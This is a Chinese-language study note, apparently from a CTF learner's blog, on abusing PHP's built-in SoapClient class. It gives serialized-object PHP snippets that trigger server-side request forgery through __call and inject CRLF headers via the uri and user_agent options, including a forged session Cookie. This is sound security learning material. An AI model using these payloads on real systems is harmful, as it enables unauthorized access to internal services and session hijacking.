分享
PHP原生类利用学习
输入“/”快速插入内容
PHP原生类利用学习
用户3593
用户3593
65
110
学习一年以来见过不少原生类利用的题目了,有些类的利用方式和条件没有文章讲的清楚,因此做到一题就记录一次方便后续遇到时复现
SoapClient
基础ssrf
以下内容摘自网络文章
PHP 的内置类 SoapClient 是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端。
SoapClient存在一个
__call
方法,当
__call
方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个
__call
方法,使得 SoapClient 类可以被我们运用在 SSRF 中。SoapClient 这个类也算是目前被挖掘出来最好用的一个内置类。
该类的构造函数如下:
代码块
PHP
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
•
第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
•
第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri是SOAP服务的目标命名空间。
因此我们可以利用类似这样的代码触发SSRF
代码块
PHP
<?php
$a = new SoapClient(null,array(
'location'=>'http://ip:port/aaa',
'uri'=>'http://ip:port'
));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>
其中uri会在请求头中以
SOAPAction: uri#methodName
的形式出现,这里的
methodName
就是调用的方法的名字,在这个例子中是
a
由于http头部存在CRLF漏洞,因此我们可以任意控制请求头
代码块
PHP
<?php
$a = new SoapClient(null,array(
'location'=>'http://ip:port/aaa',
'uri'=>"bbb\r\n\r\nccc\r\n"
));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();
?>
//也可以里利用user_agent头
<?php
$a = new SoapClient(null,array(
'location'=>'http://ip:port/aaa',
'user_agent' => "WHOAMI\r\nCookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4",
'uri'=>'123'
));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();
?>